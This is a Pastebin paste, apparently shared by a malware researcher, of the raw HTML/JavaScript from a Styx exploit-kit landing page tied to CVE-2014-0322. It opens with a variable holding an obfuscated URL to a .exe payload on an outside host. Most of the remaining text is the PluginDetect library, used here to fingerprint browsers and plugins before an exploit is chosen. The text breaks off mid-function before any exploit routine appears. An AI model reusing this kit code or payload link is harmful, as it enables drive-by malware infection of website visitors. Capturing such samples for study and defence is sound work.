Advertisement
Kafeine

Styx_CVE-2014-0322

Mar 25th, 2014
825
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 51.86 KB | None | 0 0
  1. <html>
  2.  
  3. <body>
  4.     <script>
  5.         var CNruri = "http://fha.schott.zgorzelec.pl:308/53Yit_d0pJwo0/Ior80z_jr10U-Q3R10vE/L0aglg-0X80D_0fVW_806NRi-03J5U-052dc0/gB8P_0GcB015-jbZ0/kjMY0DwG_U0k-TIp0-FRr80CeJ-F0nT3-q0bMIu_0rh-450Z_sd00m-zaN0GIk-e0yFX_a16gO-70kxoF/0Fvv/d0OYWP14/Mi90C-tGI0v/Ats0u67/W0WeIb/0TYbE0_qFST_0T/wDW0wR2_60/mRh/H0K/Oy/J0rdfc_13O1/a0/ciEQ/0Z6Lq02-0WC01U-EI0WuO40v_oi_i057ph_0Ie5H_0B21M0_YNUM0I_2C4_00kfZ0P4-Xl0Z2u7_0rPFq_0hT6-J0EO8_k08A7_k0yCgu-00/7bN_/BD9G7CMgh2.exe?ZalppdszEZ2XDg1D8=84674";
  6.         var PluginDetect = {
  7.             version: "0.8.7",
  8.             name: "PluginDetect",
  9.             openTag: "<",
  10.            hasOwnProperty: ({}).constructor.prototype.hasOwnProperty,
  11.            hasOwn: function (c, d) {
  12.                var b, a;
  13.                try {
  14.                    a = this.hasOwnProperty.call(c, d)
  15.                } catch (b) {}
  16.                return !!a
  17.            },
  18.            rgx: {
  19.                str: /string/i,
  20.                num: /number/i,
  21.                fun: /function/i,
  22.                arr: /array/i,
  23.                any: /Boolean|String|Number|Function|Array|Date|RegExp|Error/i
  24.            },
  25.            toString: ({}).constructor.prototype.toString,
  26.            isPlainObject: function (c) {
  27.                var a = this,
  28.                    b;
  29.                if (!c || a.rgx.any.test(a.toString.call(c)) || c.window == c || a.rgx.num.test(a.toString.call(c.nodeType))) {
  30.                    return 0
  31.                }
  32.                try {
  33.                    if (!a.hasOwn(c, "constructor") && !a.hasOwn(c.constructor.prototype, "isPrototypeOf")) {
  34.                        return 0
  35.                    }
  36.                } catch (b) {
  37.                    return 0
  38.                }
  39.                return 1
  40.            },
  41.            isDefined: function (b) {
  42.                return typeof b != "undefined"
  43.            },
  44.            isArray: function (b) {
  45.                return this.rgx.arr.test(this.toString.call(b))
  46.            },
  47.            isString: function (b) {
  48.                return this.rgx.str.test(this.toString.call(b))
  49.            },
  50.            isNum: function (b) {
  51.                return this.rgx.num.test(this.toString.call(b))
  52.            },
  53.            isStrNum: function (b) {
  54.                return this.isString(b) && (/\d/).test(b)
  55.            },
  56.            isFunc: function (b) {
  57.                return this.rgx.fun.test(this.toString.call(b))
  58.            },
  59.            getNumRegx: /[\d][\d\.\_,\-]*/,
  60.            splitNumRegx: /[\.\_,\-]/g,
  61.            getNum: function (b, c) {
  62.                var d = this,
  63.                    a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  64.                return a ? a[0] : null
  65.            },
  66.            compareNums: function (h, f, d) {
  67.                var e = this,
  68.                    c, b, a, g = parseInt;
  69.                if (e.isStrNum(h) && e.isStrNum(f)) {
  70.                    if (e.isDefined(d) && d.compareNums) {
  71.                        return d.compareNums(h, f)
  72.                    }
  73.                    c = h.split(e.splitNumRegx);
  74.                    b = f.split(e.splitNumRegx);
  75.                    for (a = 0; a < Math.min(c.length, b.length); a++) {
  76.                        if (g(c[a], 10) > g(b[a], 10)) {
  77.                             return 1
  78.                         }
  79.                         if (g(c[a], 10) < g(b[a], 10)) {
  80.                            return -1
  81.                        }
  82.                    }
  83.                }
  84.                return 0
  85.            },
  86.            formatNum: function (b, c) {
  87.                var d = this,
  88.                    a, e;
  89.                if (!d.isStrNum(b)) {
  90.                    return null
  91.                }
  92.                if (!d.isNum(c)) {
  93.                    c = 4
  94.                }
  95.                c--;
  96.                e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  97.                for (a = 0; a < 4; a++) {
  98.                    if (/^(0+)(.+)$/.test(e[a])) {
  99.                        e[a] = RegExp.$2
  100.                    }
  101.                    if (a > c || !(/\d/).test(e[a])) {
  102.                         e[a] = "0"
  103.                     }
  104.                 }
  105.                 return e.slice(0, 4).join(",")
  106.             },
  107.             getPROP: function (d, b, a) {
  108.                 var c;
  109.                 try {
  110.                     if (d) {
  111.                         a = d[b]
  112.                     }
  113.                 } catch (c) {}
  114.                 return a
  115.             },
  116.             findNavPlugin: function (h) {
  117.                 if (h.dbug) {
  118.                     return h.dbug
  119.                 }
  120.                 if (window.navigator) {
  121.                     var d = this,
  122.                         n = {
  123.                             Find: d.isString(h.find) ? new RegExp(h.find, "i") : h.find,
  124.                             Find2: d.isString(h.find2) ? new RegExp(h.find2, "i") : h.find2,
  125.                             Avoid: h.avoid ? (d.isString(h.avoid) ? new RegExp(h.avoid, "i") : h.avoid) : 0,
  126.                             Num: h.num ? /\d/ : 0
  127.                         }, f, c, g, j, m, l, b, a = navigator.mimeTypes,
  128.                         k = navigator.plugins,
  129.                         o = null;
  130.                     if (h.mimes && a) {
  131.                        m = d.isArray(h.mimes) ? [].concat(h.mimes) : (d.isString(h.mimes) ? [h.mimes] : []);
  132.                         for (f = 0; f < m.length; f++) {
  133.                            c = 0;
  134.                            try {
  135.                                if (d.isString(m[f]) && /[^\s]/.test(m[f])) {
  136.                                    c = a[m[f]].enabledPlugin
  137.                                }
  138.                            } catch (j) {}
  139.                            if (c) {
  140.                                g = d.findNavPlugin_(c, n);
  141.                                if (g.obj) {
  142.                                    o = g.obj
  143.                                };
  144.                                if (o && !d.dbug) {
  145.                                    return o
  146.                                }
  147.                            }
  148.                        }
  149.                    }
  150.                    if (h.plugins && k) {
  151.                        l = d.isArray(h.plugins) ? [].concat(h.plugins) : (d.isString(h.plugins) ? [h.plugins] : []);
  152.                        for (f = 0; f < l.length; f++) {
  153.                            c = 0;
  154.                            try {
  155.                                if (l[f] && d.isString(l[f])) {
  156.                                    c = k[l[f]]
  157.                                }
  158.                            } catch (j) {}
  159.                            if (c) {
  160.                                g = d.findNavPlugin_(c, n);
  161.                                if (g.obj) {
  162.                                    o = g.obj
  163.                                };
  164.                                if (o && !d.dbug) {
  165.                                    return o
  166.                                }
  167.                            }
  168.                        }
  169.                        b = k.length;
  170.                        if (d.isNum(b)) {
  171.                            for (f = 0; f < b; f++) {
  172.                                c = 0;
  173.                                try {
  174.                                    c = k[f]
  175.                                } catch (j) {}
  176.                                if (c) {
  177.                                    g = d.findNavPlugin_(c, n);
  178.                                    if (g.obj) {
  179.                                        o = g.obj
  180.                                    };
  181.                                    if (o && !d.dbug) {
  182.                                        return o
  183.                                    }
  184.                                }
  185.                            }
  186.                        }
  187.                    }
  188.                }
  189.                return o
  190.            },
  191.            findNavPlugin_: function (f, d) {
  192.                var e = this,
  193.                    c = f.description || "",
  194.                    b = f.name || "",
  195.                    a = {};
  196.                if ((d.Find.test(c) && (!d.Find2 || d.Find2.test(b)) && (!d.Num || d.Num.test(RegExp.leftContext + RegExp.rightContext))) || (d.Find.test(b) && (!d.Find2 || d.Find2.test(c)) && (!d.Num || d.Num.test(RegExp.leftContext + RegExp.rightContext)))) {
  197.                    if (!d.Avoid || !(d.Avoid.test(c) || d.Avoid.test(b))) {
  198.                        a.obj = f
  199.                    }
  200.                }
  201.                return a
  202.            },
  203.            getVersionDelimiter: ",",
  204.            findPlugin: function (d) {
  205.                var c = this,
  206.                    b, d, a = {
  207.                        status: -3,
  208.                        plugin: 0
  209.                    };
  210.                if (!c.isString(d)) {
  211.                    return a
  212.                }
  213.                if (d.length == 1) {
  214.                    c.getVersionDelimiter = d;
  215.                    return a
  216.                }
  217.                d = d.toLowerCase().replace(/\s/g, "");
  218.                b = c.Plugins[d];
  219.                if (!b || !b.getVersion) {
  220.                    return a
  221.                }
  222.                a.plugin = b;
  223.                a.status = 1;
  224.                return a
  225.            },
  226.            getPluginFileVersion: function (d, h) {
  227.                var b = this,
  228.                    a, c, i, j, f = -1,
  229.                    g;
  230.                if (!d) {
  231.                    return h
  232.                }
  233.                if (d.version) {
  234.                    a = b.getNum(d.version + "")
  235.                };
  236.                if (!a || !h) {
  237.                    return h || a || null
  238.                }
  239.                a = b.formatNum(a);
  240.                h = b.formatNum(h);
  241.                c = h.split(b.splitNumRegx);
  242.                i = a.split(b.splitNumRegx);
  243.                for (j = 0; j < c.length; j++) {
  244.                    if (f > -1 && j > f && c[j] != "0") {
  245.                        return h
  246.                    }
  247.                    if (i[j] != c[j]) {
  248.                        if (f == -1) {
  249.                            f = j
  250.                        }
  251.                        if (c[j] != "0") {
  252.                            return h
  253.                        }
  254.                    }
  255.                }
  256.                return a
  257.            },
  258.            AXO: (function () {
  259.                var b, a;
  260.                 try {
  261.                     b = new window.ActiveXObject()
  262.                 } catch (a) {}
  263.                 return b ? null : window.ActiveXObject
  264.             })(),
  265.             getAXO: function (a) {
  266.                 var d = null,
  267.                     c, b = this;
  268.                 try {
  269.                     d = new b.AXO(a)
  270.                 } catch (c) {};
  271.                 if (d) {
  272.                     b.browser.ActiveXEnabled = !0
  273.                 }
  274.                 return d
  275.             },
  276.             browser: {},
  277.             INIT: function () {
  278.                 this.init.library(this)
  279.             },
  280.             init: {
  281.                 $: 1,
  282.                 hasRun: 0,
  283.                 objProperties: function (d, e, c) {
  284.                     var a, b = {};
  285.                     if (e && c) {
  286.                        if (e[c[0]] === 1 && d.hasOwn(e, c[0]) && d.isPlainObject(e)) {
  287.                            for (a = 0; a < c.length; a = a + 2) {
  288.                                e[c[a]] = c[a + 1];
  289.                                b[c[a]] = 1
  290.                            }
  291.                        }
  292.                        for (a in e) {
  293.                            if (e[a] && e[a][c[0]] === 1 && d.hasOwn(e, a) && !d.hasOwn(b, a)) {
  294.                                this.objProperties(d, e[a], c)
  295.                            }
  296.                        }
  297.                    }
  298.                },
  299.                plugin: function (a, c) {
  300.                    var d = this,
  301.                        b = d.$;
  302.                    if (b.isPlainObject(a) && b.isFunc(a.getVersion)) {
  303.                        if (!b.isDefined(a.getVersionDone)) {
  304.                            a.installed = null;
  305.                            a.version = null;
  306.                            a.version0 = null;
  307.                            a.getVersionDone = null;
  308.                            a.pluginName = c
  309.                        }
  310.                        d.objProperties(b, a, ["$", b, "$$", a])
  311.                    }
  312.                },
  313.                detectIE: function () {
  314.                    var init = this,
  315.                        $ = init.$,
  316.                        browser = $.browser,
  317.                        doc = document,
  318.                        e, x, tmp, userAgent = window.navigator ? navigator.userAgent || "" : "",
  319.                        progid, progid1, progid2;
  320.                    browser.ActiveXFilteringEnabled = !1;
  321.                    browser.ActiveXEnabled = !1;
  322.                    try {
  323.                        browser.ActiveXFilteringEnabled = !! window.external.msActiveXFilteringEnabled()
  324.                    } catch (e) {}
  325.                    progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper", "Scripting.Dictionary"];
  326.                    progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl"];
  327.                    progid = progid1.concat(progid2);
  328.                    for (x = 0; x < progid.length; x++) {
  329.                        if ($.getAXO(progid[x]) && !$.dbug) {
  330.                            break
  331.                        }
  332.                    }
  333.                    if (browser.ActiveXEnabled && browser.ActiveXFilteringEnabled) {
  334.                        for (x = 0; x < progid2.length; x++) {
  335.                            if ($.getAXO(progid2[x])) {
  336.                                browser.ActiveXFilteringEnabled = !1;
  337.                                break
  338.                            }
  339.                        }
  340.                    };
  341.                    tmp = doc.documentMode;
  342.                    try {
  343.                        doc.documentMode = ""
  344.                    } catch (e) {}
  345.                    browser.isIE = browser.ActiveXEnabled || $.isNum(doc.documentMode) || eval("/*@cc_on!@*/!1");
  346.                    try {
  347.                        doc.documentMode = tmp
  348.                    } catch (e) {};
  349.                    browser.verIE = null;
  350.                    if (browser.isIE) {
  351.                        browser.verIE = ($.isNum(doc.documentMode) && doc.documentMode >= 7 ? doc.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(userAgent) ? parseFloat(RegExp.$1, 10) : 7)
  352.                     }
  353.                 },
  354.                 detectNonIE: function () {
  355.                     var f = this,
  356.                         d = this.$,
  357.                         a = d.browser,
  358.                         e = window.navigator ? navigator : {}, c = a.isIE ? "" : e.userAgent || "",
  359.                         g = e.vendor || "",
  360.                         b = e.product || "";
  361.                     a.isGecko = (/Gecko/i).test(b) && (/Gecko\s*\/\s*\d/i).test(c);
  362.                     a.verGecko = a.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(c) ? RegExp.$1 : "0.9") : null;
  363.                     a.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(c);
  364.                     a.verChrome = a.isChrome ? d.formatNum(RegExp.$2) : null;
  365.                     a.isSafari = !a.isChrome && ((/Apple/i).test(g) || !g) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(c);
  366.                     a.verSafari = a.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(c) ? d.formatNum(RegExp.$1) : null;
  367.                     a.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(c);
  368.                     a.verOpera = a.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(c) || 1) ? parseFloat(RegExp.$1, 10) : null
  369.                },
  370.                detectPlatform: function () {
  371.                    var e = this,
  372.                        d = e.$,
  373.                        b, a = window.navigator ? navigator.platform || "" : "";
  374.                     d.OS = 100;
  375.                     if (a) {
  376.                         var c = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
  377.                         for (b = c.length - 2; b >= 0; b = b - 2) {
  378.                             if (c[b] && new RegExp(c[b], "i").test(a)) {
  379.                                d.OS = c[b + 1];
  380.                                 break
  381.                             }
  382.                         }
  383.                     }
  384.                 },
  385.                 library: function (b) {
  386.                     var d = this,
  387.                         c = document,
  388.                         a;
  389.                     d.objProperties(b, b, ["$", b]);
  390.                     for (a in b.Plugins) {
  391.                         if (b.hasOwn(b.Plugins, a)) {
  392.                             d.plugin(b.Plugins[a], a)
  393.                         }
  394.                     };
  395.                     b.PUBLIC.init();
  396.                     b.win.init();
  397.                     b.head = c.getElementsByTagName("head")[0] || c.getElementsByTagName("body")[0] || c.body || null;
  398.                     d.detectPlatform();
  399.                     d.detectIE();
  400.                     d.detectNonIE();
  401.                     d.hasRun = 1
  402.                 }
  403.             },
  404.             ev: {
  405.                 $: 1,
  406.                 handler: function (d, c, b, a) {
  407.                     return function () {
  408.                         d(c, b, a)
  409.                     }
  410.                 },
  411.                 fPush: function (b, a) {
  412.                     var c = this,
  413.                         d = c.$;
  414.                     if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0])))) {
  415.                        a.push(b)
  416.                    }
  417.                },
  418.                call0: function (d) {
  419.                    var b = this,
  420.                        c = b.$,
  421.                        a = c.isArray(d) ? d.length : -1;
  422.                     if (a > 0 && c.isFunc(d[0])) {
  423.                        d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
  424.                    } else {
  425.                        if (c.isFunc(d)) {
  426.                            d(c)
  427.                        }
  428.                    }
  429.                },
  430.                callArray0: function (a) {
  431.                    var b = this,
  432.                        d = b.$,
  433.                        c;
  434.                     if (d.isArray(a)) {
  435.                         while (a.length) {
  436.                             c = a[0];
  437.                             a.splice(0, 1);
  438.                             b.call0(c)
  439.                         }
  440.                     }
  441.                 },
  442.                 call: function (b) {
  443.                     var a = this;
  444.                     a.call0(b);
  445.                     a.ifDetectDoneCallHndlrs()
  446.                 },
  447.                 callArray: function (a) {
  448.                     var b = this;
  449.                     b.callArray0(a);
  450.                     b.ifDetectDoneCallHndlrs()
  451.                 },
  452.                 allDoneHndlrs: [],
  453.                 ifDetectDoneCallHndlrs: function () {
  454.                     var c = this,
  455.                         d = c.$,
  456.                         a, b;
  457.                     if (!c.allDoneHndlrs.length) {
  458.                         return
  459.                     }
  460.                     if (d.win) {
  461.                         if (!d.win.loaded || d.win.loadPrvtHndlrs.length || d.win.loadPblcHndlrs.length) {
  462.                             return
  463.                         }
  464.                     }
  465.                     if (d.Plugins) {
  466.                         for (a in d.Plugins) {
  467.                             b = d.Plugins[a];
  468.                             if (d.hasOwn(d.Plugins, a) && b && d.isFunc(b.getVersion)) {
  469.                                if (b.OTF == 3 || (b.DoneHndlrs && b.DoneHndlrs.length)) {
  470.                                    return
  471.                                }
  472.                            }
  473.                        }
  474.                    };
  475.                     c.callArray0(c.allDoneHndlrs)
  476.                 }
  477.             },
  478.             PUBLIC: {
  479.                 $: 1,
  480.                 init: function () {
  481.                     var c = this,
  482.                         b = c.$,
  483.                         a;
  484.                     for (a in c) {
  485.                         if (a !== "init" && b.hasOwn(c, a) && b.isFunc(c[a])) {
  486.                            b[a] = c[a](b)
  487.                        }
  488.                    }
  489.                },
  490.                isMinVersion: function (b) {
  491.                    var a = function (j, h, e, d) {
  492.                        var f = b.findPlugin(j),
  493.                            g, c = -1;
  494.                         if (f.status < 0) {
  495.                            return f.status
  496.                        }
  497.                        g = f.plugin;
  498.                        h = b.formatNum(b.isNum(h) ? h.toString() : (b.isStrNum(h) ? b.getNum(h) : "0"));
  499.                        if (g.getVersionDone != 1) {
  500.                            g.getVersion(h, e, d);
  501.                            if (g.getVersionDone === null) {
  502.                                g.getVersionDone = 1
  503.                            }
  504.                        }
  505.                        if (g.installed !== null) {
  506.                            c = g.installed <= 0.5 ? g.installed : (g.installed == 0.7 ? 1 : (g.version === null ? 0 : (b.compareNums(g.version, h, g) >= 0 ? 1 : -0.1)))
  507.                         };
  508.                         return c
  509.                     };
  510.                     return a
  511.                 },
  512.                 getVersion: function (b) {
  513.                     var a = function (h, e, d) {
  514.                         var f = b.findPlugin(h),
  515.                             g, c;
  516.                         if (f.status < 0) {
  517.                            return null
  518.                        };
  519.                        g = f.plugin;
  520.                        if (g.getVersionDone != 1) {
  521.                            g.getVersion(null, e, d);
  522.                            if (g.getVersionDone === null) {
  523.                                g.getVersionDone = 1
  524.                            }
  525.                        }
  526.                        c = (g.version || g.version0);
  527.                        c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
  528.                        return c
  529.                    };
  530.                    return a
  531.                },
  532.                hasMimeType: function (b) {
  533.                    var a = function (h) {
  534.                        if (h && window.navigator && navigator.mimeTypes) {
  535.                            var l, k, d, j, g, c = navigator.mimeTypes,
  536.                                f = b.isArray(h) ? [].concat(h) : (b.isString(h) ? [h] : []);
  537.                            g = f.length;
  538.                            for (d = 0; d < g; d++) {
  539.                                l = 0;
  540.                                try {
  541.                                    if (b.isString(f[d]) && /[^\s]/.test(f[d])) {
  542.                                        l = c[f[d]]
  543.                                    }
  544.                                } catch (j) {}
  545.                                k = l ? l.enabledPlugin : 0;
  546.                                if (k && (k.name || k.description)) {
  547.                                    return l
  548.                                }
  549.                            }
  550.                        };
  551.                        return null
  552.                    };
  553.                    return a
  554.                },
  555.                z: 0
  556.            },
  557.            win: {
  558.                $: 1,
  559.                loaded: false,
  560.                hasRun: 0,
  561.                init: function () {
  562.                    var b = this,
  563.                        a = b.$;
  564.                    if (!b.hasRun) {
  565.                        b.hasRun = 1;
  566.                        b.onLoad = a.ev.handler(b.$$onLoad, a);
  567.                        b.onUnload = a.ev.handler(b.$$onUnload, a);
  568.                        b.addEvent("load", b.onLoad);
  569.                        b.addEvent("unload", b.onUnload)
  570.                    }
  571.                },
  572.                addEvent: function (c, b) {
  573.                    var e = this,
  574.                        d = e.$,
  575.                        a = window;
  576.                    if (d.isFunc(b)) {
  577.                        if (a.addEventListener) {
  578.                            a.addEventListener(c, b, false)
  579.                        } else {
  580.                            if (a.attachEvent) {
  581.                                a.attachEvent("on" + c, b)
  582.                            } else {
  583.                                a["on" + c] = e.concatFn(b, a["on" + c])
  584.                            }
  585.                        }
  586.                    }
  587.                },
  588.                concatFn: function (d, c) {
  589.                    return function () {
  590.                        d();
  591.                        if (typeof c == "function") {
  592.                            c()
  593.                        }
  594.                    }
  595.                },
  596.                loadPrvtHndlrs: [],
  597.                loadPblcHndlrs: [],
  598.                unloadHndlrs: [],
  599.                $$onUnload: function (b) {
  600.                    if (b && b.win) {
  601.                        b.ev.callArray(b.win.unloadHndlrs);
  602.                        for (var a in b) {
  603.                            b[a] = 0
  604.                        }
  605.                        b = 0
  606.                    }
  607.                },
  608.                count: 0,
  609.                countMax: 1,
  610.                intervalLength: 10,
  611.                $$onLoad: function (a) {
  612.                    if (!a || a.win.loaded) {
  613.                        return
  614.                    }
  615.                    var b = a.win;
  616.                    if (b.count < b.countMax && b.loadPrvtHndlrs.length) {
  617.                        setTimeout(b.onLoad, b.intervalLength)
  618.                    } else {
  619.                        b.loaded = true;
  620.                        a.ev.callArray(b.loadPrvtHndlrs);
  621.                        a.ev.callArray(b.loadPblcHndlrs)
  622.                    }
  623.                    b.count++
  624.                }
  625.            },
  626.            DOM: {
  627.                $: 1,
  628.                isEnabled: {
  629.                    $: 1,
  630.                    objectTag: function () {
  631.                        var a = this.$;
  632.                        return a.browser.isIE ? a.browser.ActiveXEnabled : 1
  633.                    },
  634.                    objectTagUsingActiveX: function () {
  635.                        return this.$.browser.ActiveXEnabled
  636.                    },
  637.                    objectProperty: function () {
  638.                        var a = this.$;
  639.                        return a.browser.isIE && a.browser.verIE >= 7 ? 1 : 0
  640.                     }
  641.                 },
  642.                 div: null,
  643.                 divID: "plugindetect",
  644.                 divWidth: 300,
  645.                 getDiv: function () {
  646.                     var a = this;
  647.                     return a.div || document.getElementById(a.divID) || null
  648.                 },
  649.                 initDiv: function () {
  650.                     var b = this,
  651.                         c = b.$,
  652.                         a;
  653.                     if (!b.div) {
  654.                         a = b.getDiv();
  655.                         if (a) {
  656.                             b.div = a
  657.                         } else {
  658.                             b.div = document.createElement("div");
  659.                             b.div.id = b.divID;
  660.                             b.setStyle(b.div, b.getStyle.div());
  661.                             b.insertDivInBody(b.div)
  662.                         }
  663.                         c.ev.fPush([b.onWinUnloadEmptyDiv, b], c.win.unloadHndlrs)
  664.                     }
  665.                 },
  666.                 pluginSize: 1,
  667.                 altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  668.                 emptyNode: function (c) {
  669.                     var b = this,
  670.                         d = b.$,
  671.                         a, f;
  672.                     if (c && (/div|span/i).test(c.tagName || "")) {
  673.                        if (d.browser.isIE) {
  674.                            b.setStyle(c, ["display", "none"])
  675.                        }
  676.                        try {
  677.                            c.innerHTML = ""
  678.                        } catch (f) {}
  679.                    }
  680.                },
  681.                onWinUnloadEmptyDiv: function (f, d) {
  682.                    var b = d.getDiv(),
  683.                        a, c, g;
  684.                     if (b) {
  685.                         if (b.childNodes) {
  686.                             for (a = b.childNodes.length - 1; a >= 0; a--) {
  687.                                 c = b.childNodes[a];
  688.                                 d.emptyNode(c)
  689.                             }
  690.                             try {
  691.                                 b.innerHTML = ""
  692.                             } catch (g) {}
  693.                         }
  694.                         if (b.parentNode) {
  695.                             try {
  696.                                 b.parentNode.removeChild(b)
  697.                             } catch (g) {}
  698.                             b = null;
  699.                             d.div = null
  700.                         }
  701.                     }
  702.                 },
  703.                 width: function () {
  704.                     var g = this,
  705.                         e = g.DOM,
  706.                         f = e.$,
  707.                         d = g.span,
  708.                         b, c, a = -1;
  709.                     b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
  710.                     c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
  711.                     return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
  712.                 },
  713.                 obj: function (b) {
  714.                     var d = this,
  715.                         c = d.span,
  716.                         a = c && c.firstChild ? c.firstChild : null;
  717.                     return a
  718.                 },
  719.                 readyState: function () {
  720.                     var b = this,
  721.                         a = b.DOM.$;
  722.                     return a.browser.isIE && a.isDefined(a.getPROP(b.span, "readyState")) ? a.getPROP(b.obj(), "readyState") : b.undefined
  723.                },
  724.                objectProperty: function () {
  725.                    var d = this,
  726.                        b = d.DOM,
  727.                        c = b.$,
  728.                        a;
  729.                     if (b.isEnabled.objectProperty()) {
  730.                         a = c.getPROP(d.obj(), "object")
  731.                     }
  732.                     return a
  733.                 },
  734.                 getTagStatus: function (b, m, r, p, f, h) {
  735.                     var s = this,
  736.                         d = s.$,
  737.                         q;
  738.                     if (!b || !b.span) {
  739.                         return -2
  740.                     }
  741.                     var k = b.width(),
  742.                         c = b.readyState(),
  743.                         a = b.objectProperty();
  744.                     if (a) {
  745.                         return 1.5
  746.                     }
  747.                     var g = /clsid\s*\:/i,
  748.                         o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.outerHTML || "") ? p : 0),
  749.                        i = r && !g.test(r.outerHTML || "") ? r : (p && !g.test(p.outerHTML || "") ? p : 0),
  750.                        l = b && g.test(b.outerHTML || "") ? o : i;
  751.                     if (!m || !m.span || !l || !l.span) {
  752.                         return 0
  753.                     }
  754.                     var j = l.width(),
  755.                         n = m.width(),
  756.                         t = l.readyState();
  757.                     if (k < 0 || j < 0 || n <= s.pluginSize) {
  758.                        return 0
  759.                    }
  760.                    if (h && !b.pi && d.isDefined(a) && d.browser.isIE && b.tagName == l.tagName && b.time <= l.time && k === j && c === 0 && t !== 0) {
  761.                        b.pi = 1
  762.                    }
  763.                    if (j < n) {
  764.                        return b.pi ? -0.1 : 0
  765.                    }
  766.                    if (k >= n) {
  767.                         if (!b.winLoaded && d.win.loaded) {
  768.                            return b.pi ? -0.5 : -1
  769.                        }
  770.                        if (d.isNum(f)) {
  771.                            if (!d.isNum(b.count2)) {
  772.                                b.count2 = f
  773.                            }
  774.                            if (f - b.count2 > 0) {
  775.                                return b.pi ? -0.5 : -1
  776.                            }
  777.                        }
  778.                    }
  779.                    try {
  780.                        if (k == s.pluginSize && (!d.browser.isIE || c === 4)) {
  781.                            if (!b.winLoaded && d.win.loaded) {
  782.                                return 1
  783.                            }
  784.                            if (b.winLoaded && d.isNum(f)) {
  785.                                if (!d.isNum(b.count)) {
  786.                                    b.count = f
  787.                                }
  788.                                if (f - b.count >= 5) {
  789.                                    return 1
  790.                                }
  791.                            }
  792.                        }
  793.                    } catch (q) {}
  794.                    return b.pi ? -0.1 : 0
  795.                },
  796.                setStyle: function (b, h) {
  797.                    var c = this,
  798.                        d = c.$,
  799.                        g = b.style,
  800.                        a, f;
  801.                     if (g && h) {
  802.                        for (a = 0; a < h.length; a = a + 2) {
  803.                            try {
  804.                                g[h[a]] = h[a + 1]
  805.                            } catch (f) {}
  806.                        }
  807.                    }
  808.                },
  809.                getStyle: {
  810.                    $: 1,
  811.                    span: function () {
  812.                        var a = this.$.DOM;
  813.                        return [].concat(this.Default).concat(["display", "inline", "fontSize", (a.pluginSize + 3) + "px", "lineHeight", (a.pluginSize + 3) + "px"])
  814.                    },
  815.                    div: function () {
  816.                        var a = this.$.DOM;
  817.                        return [].concat(this.Default).concat(["display", "block", "width", a.divWidth + "px", "height", (a.pluginSize + 3) + "px", "fontSize", (a.pluginSize + 3) + "px", "lineHeight", (a.pluginSize + 3) + "px", "position", "absolute", "right", "9999px", "top", "-9999px"])
  818.                    },
  819.                    plugin: function (b) {
  820.                        var a = this.$.DOM;
  821.                        return "background-color:transparent;background-image:none;vertical-align:baseline;outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (b ? "hidden;" : "visible;") + "display:inline;font-size:" + (a.pluginSize + 3) + "px;line-height:" + (a.pluginSize + 3) + "px;"
  822.                    },
  823.                    Default: ["backgroundColor", "transparent", "backgroundImage", "none", "verticalAlign", "baseline", "outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"]
  824.                },
  825.                insertDivInBody: function (a, h) {
  826.                    var j = this,
  827.                        d = j.$,
  828.                        g, b = "pd33993399",
  829.                        c = null,
  830.                        i = h ? window.top.document : window.document,
  831.                        f = i.getElementsByTagName("body")[0] || i.body;
  832.                    if (!f) {
  833.                        try {
  834.                            i.write('<div id="' + b + '">.' + d.openTag + "/div>");
  835.                             c = i.getElementById(b)
  836.                         } catch (g) {}
  837.                     }
  838.                     f = i.getElementsByTagName("body")[0] || i.body;
  839.                     if (f) {
  840.                         f.insertBefore(a, f.firstChild);
  841.                         if (c) {
  842.                             f.removeChild(c)
  843.                         }
  844.                     }
  845.                 },
  846.                 insert: function (b, i, g, h, c, p, n) {
  847.                     var r = this,
  848.                         f = r.$,
  849.                         q, s = document,
  850.                         u, l, o = s.createElement("span"),
  851.                         j, a;
  852.                     if (!f.isDefined(h)) {
  853.                         h = ""
  854.                     }
  855.                     if (f.isString(b) && (/[^\s]/).test(b)) {
  856.                        b = b.toLowerCase().replace(/\s/g, "");
  857.                         u = f.openTag + b + " ";
  858.                         u += 'style="' + r.getStyle.plugin(p) + '" ';
  859.                         var k = 1,
  860.                             t = 1;
  861.                         for (j = 0; j < i.length; j = j + 2) {
  862.                            if (/[^\s]/.test(i[j + 1])) {
  863.                                u += i[j] + '="' + i[j + 1] + '" '
  864.                            }
  865.                            if ((/width/i).test(i[j])) {
  866.                                k = 0
  867.                            }
  868.                            if ((/height/i).test(i[j])) {
  869.                                t = 0
  870.                            }
  871.                        }
  872.                        u += (k ? 'width="' + r.pluginSize + '" ' : "") + (t ? 'height="' + r.pluginSize + '" ' : "");
  873.                        u += ">";
  874.                         for (j = 0; j < g.length; j = j + 2) {
